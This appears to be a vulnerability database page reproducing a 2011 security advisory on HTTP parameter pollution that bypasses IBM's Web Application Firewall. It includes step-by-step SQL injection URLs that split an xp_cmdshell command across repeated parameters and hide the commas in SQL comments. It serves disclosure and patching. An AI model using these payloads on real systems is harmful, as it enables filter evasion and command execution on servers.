VAR-201108-0125

Vulnerability from variot - Updated: 2025-04-11 23:04

IBM Web Application Firewall, as used on the G400 IPS-G400-IB-1 and GX4004 IPS-GX4004-IB-2 appliances with update 31.030, does not properly handle query strings with multiple instances of the same parameter, which allows remote attackers to bypass intended intrusion prevention by dividing a dangerous parameter value into substrings, as demonstrated by a SQL statement that is split across multiple iid parameters and then sent to a .aspx file on an IIS web server. IBM Web Application Firewall is prone to a security-bypass vulnerability. Successfully exploiting this issue will allow attackers to bypass security restrictions and perform unauthorized actions. Remote attackers can bypass preset intrusion defenses by splitting dangerous parameters into multiple substrings.

Versions affected: Tested against G400 IPS-G400-IB-1 (Intrusion Prevention Update: 2011-03-11 00:34:23 - version: 31.030) and GX4004 IPS-GX4004-IB-2 (Intrusion Prevention Update: 2011-03-10 23:49:15 - version: 31.030). The issue occurs when an attacker submits repeated occurrences of the same parameter.

The example shown below uses the following environment: A web environment using Microsoft IIS, ASP .NET technology, Microsoft SQL Server 2000, being protected by the IBM Web Application Firewall.

http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC master..xp_cmdshell "ping 10.1.1.3" --

IIS with ASP.NET (and even pure ASP) technology will concatenate the contents of a parameter if multiple entries are part of the request.

http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC master..xp_cmdshell &iid= "ping 10.1.1.3" --

IIS with ASP.NET (and even pure ASP) technology will concatenate both entries of iid parameter, however it will include an comma "," between them, resulting in the following output being sent to the database.

'; EXEC master..xp_cmdshell , "ping 10.1.1.3" --

The request above will be identified and blocked (depending of configuration) by IBM Web application firewall, because it appears that "EXEC" and "xp_cmdshell" trigger an attack pattern.

However, it is possible to split all the spaces in multiple parameters. For example:

http://sitename/find_ta_def.aspx?id=2571&iid='; &iid= EXEC &iid= master..xp_cmdshell &iid= "ping 10.1.1.3" &iid= --

The above request will bypass the affected IBM Web application firewall, resulting in the following output being sent to the database.

'; , EXEC , master..xp_cmdshell , "ping 10.1.1.3" , --

However, the above SQL code will not be properly executed because of the comma inserted on the SQL query, to solve this situation we will use SQL comments.

http://sitename/find_ta_def.aspx?id=2571&iid='; /&iid=1/ EXEC /&iid=1/ master..xp_cmdshell /&iid=1/ "ping 10.1.1.3" /&iid=1/ --

The above request will bypass IBM Web application firewall, resulting in the following output being sent to the database, which is a valid and working SQL code.

'; /,1/ EXEC /,1/ master..xp_cmdshell /,1/ "ping 10.1.1.3" /,1/ --

The above code will execute the ping command on the Microsoft Windows backend, assuming the application was running with administrative privileges.

This attack class is also referenced sometimes as HTTP Pollution Attack, HTTP Parameter Pollution (HPP) and HTTP Parameter Concatenation.

The exploitability of this issue depends of the infrastructure (WebServer, Development Framework Technology, etc) technology being used.

Remediation Steps: IBM has released fixes to the above issue in the "Super Tuesday" patch released in June. Refer to the references section of the advisory for further information released by IBM.

Revision History: 04/07/11 - Vulnerability disclosed 06/16/11 - Patch released 06/21/11 - Advisory published

References: 1. http://www.iss.net/security_center/reference/vuln/HTTP_Parameter_Abuse.htm 2. http://xforce.iss.net/xforce/xfdb/67178

About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com

About Trustwave's SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs

Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.

This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.

Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/

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Remote attackers can bypass preset intrusion defenses by splitting dangerous parameters into multiple substrings. \n\nVersions affected:\nTested against G400 IPS-G400-IB-1 (Intrusion Prevention\nUpdate: 2011-03-11 00:34:23 - version: 31.030) and GX4004 IPS-GX4004-IB-2\n(Intrusion Prevention Update: 2011-03-10 23:49:15 - version: 31.030). The issue\noccurs when an attacker submits repeated occurrences of the same parameter. \n\nThe example shown below uses the following environment:\nA web environment using Microsoft IIS, ASP .NET technology, Microsoft\nSQL Server 2000, being protected by the IBM Web Application Firewall. \n\nhttp://sitename/find_ta_def.aspx?id=2571\u0026iid=\u0027; EXEC\nmaster..xp_cmdshell \"ping 10.1.1.3\" --\n\nIIS with ASP.NET (and even pure ASP) technology will concatenate the\ncontents\nof a parameter if multiple entries are part of the request. \n\nhttp://sitename/find_ta_def.aspx?id=2571\u0026iid=\u0027; EXEC\nmaster..xp_cmdshell \u0026iid= \"ping 10.1.1.3\" --\n\nIIS with ASP.NET (and even pure ASP) technology will concatenate both\nentries of iid parameter, however it will include an comma \",\" between\nthem, resulting in the following output being sent to the database. \n\n\u0027; EXEC master..xp_cmdshell , \"ping 10.1.1.3\" --\n\nThe request above will be identified and blocked (depending of\nconfiguration) by IBM Web application firewall, because it appears that\n\"EXEC\" and \"xp_cmdshell\" trigger an attack pattern. \n\nHowever, it is possible to split all the spaces in multiple parameters. For\nexample:\n\nhttp://sitename/find_ta_def.aspx?id=2571\u0026iid=\u0027; \u0026iid= EXEC\n\u0026iid= master..xp_cmdshell \u0026iid= \"ping 10.1.1.3\" \u0026iid= --\n\nThe above request will bypass the affected IBM Web application firewall,\nresulting in the following output being sent to the database. \n\n\u0027; , EXEC , master..xp_cmdshell , \"ping 10.1.1.3\" , --\n\nHowever, the above SQL code will not be properly executed because of the\ncomma inserted on the SQL query, to solve this situation we will use SQL\ncomments. \n\nhttp://sitename/find_ta_def.aspx?id=2571\u0026iid=\u0027; /*\u0026iid=1*/ EXEC\n/*\u0026iid=1*/ master..xp_cmdshell /*\u0026iid=1*/ \"ping 10.1.1.3\" /*\u0026iid=1*/ --\n\nThe above request will bypass IBM Web application firewall, resulting in\nthe following output being sent to the database, which is a valid and\nworking SQL code. \n\n\u0027; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ \"ping 10.1.1.3\" /*,1*/ --\n\nThe above code will execute the ping command on the Microsoft Windows\nbackend, assuming the application was running with administrative\nprivileges. \n\nThis attack class is also referenced sometimes as HTTP Pollution Attack,\nHTTP Parameter Pollution (HPP) and HTTP Parameter Concatenation. \n\nThe exploitability of this issue depends of the infrastructure (WebServer,\nDevelopment Framework Technology, etc) technology being used. \n\n\nRemediation Steps:\nIBM has released fixes to the above issue in the \"Super Tuesday\" patch\nreleased in June. Refer to the references section of the advisory for\nfurther information released by IBM. \n\nRevision History:\n04/07/11 - Vulnerability disclosed\n06/16/11 - Patch released\n06/21/11 - Advisory published\n\nReferences:\n1. \nhttp://www.iss.net/security_center/reference/vuln/HTTP_Parameter_Abuse.htm\n2. http://xforce.iss.net/xforce/xfdb/67178\n\nAbout Trustwave:\nTrustwave is the leading provider of on-demand and subscription-based\ninformation security and payment card industry compliance management\nsolutions to businesses and government entities throughout the world. For\norganizations faced with today\u0027s challenging data security and compliance\nenvironment, Trustwave provides a unique approach with comprehensive\nsolutions that include its flagship TrustKeeper compliance management\nsoftware and other proprietary security solutions. Trustwave has helped\nthousands of organizations--ranging from Fortune 500 businesses and large\nfinancial institutions to small and medium-sized retailers--manage\ncompliance and secure their network infrastructure, data communications and\ncritical information assets. Trustwave is headquartered in Chicago with\noffices throughout North America, South America, Europe, Africa, China and\nAustralia. For more information, visit https://www.trustwave.com\n\nAbout Trustwave\u0027s SpiderLabs:\nSpiderLabs(R) is the advanced security team at Trustwave focused on\napplication security, incident response, penetration testing, physical\nsecurity and security research. The team has performed over a thousand\nincident investigations, thousands of penetration tests and hundreds of\napplication security tests globally. In addition, the SpiderLabs Research\nteam provides intelligence through bleeding-edge research and proof of\nconcept tool development to enhance Trustwave\u0027s products and services. \nhttps://www.trustwave.com/spiderlabs\n\nDisclaimer:\nThe information provided in this advisory is provided \"as is\" without\nwarranty of any kind. Trustwave disclaims all warranties, either express or\nimplied, including the warranties of merchantability and fitness for a\nparticular purpose. In no event shall Trustwave or its suppliers be liable\nfor any damages whatsoever including direct, indirect, incidental,\nconsequential, loss of business profits or special damages, even if\nTrustwave or its suppliers have been advised of the possibility of such\ndamages. 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Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.